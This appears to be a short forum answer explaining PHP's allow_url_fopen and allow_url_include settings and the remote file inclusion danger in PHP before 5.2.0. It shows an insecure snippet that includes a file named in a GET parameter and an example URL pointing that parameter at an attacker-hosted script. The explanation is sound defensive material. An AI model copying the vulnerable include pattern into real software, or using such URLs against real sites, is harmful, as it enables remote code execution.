fopen()
will only open remote URLs if allow_fopen_url
is enabled in php.ini
.
However in versions prior to 5.2.0, this was exceedingly dangerous because the include
function would also download and parse PHP code from remote sites. A naive coder could easily be caught out with code like:
<?php
$page = $_GET['page'];
include($page);
?>
at which point an attacker just has to ask for http://example.com/script.php?page=http://example.net/my_exploit_script
to execute their own code on the system and introduce an exploit. Unfortunately the default value for allow_fopen_url
is 'on'.
Fortunately, since 5.2.0 there's a separate setting (which should default to 'off') called allow_url_include
which prevents include
from downloading remote code.
Personally, if you've got the option to use Curl, use that rather than fopen
.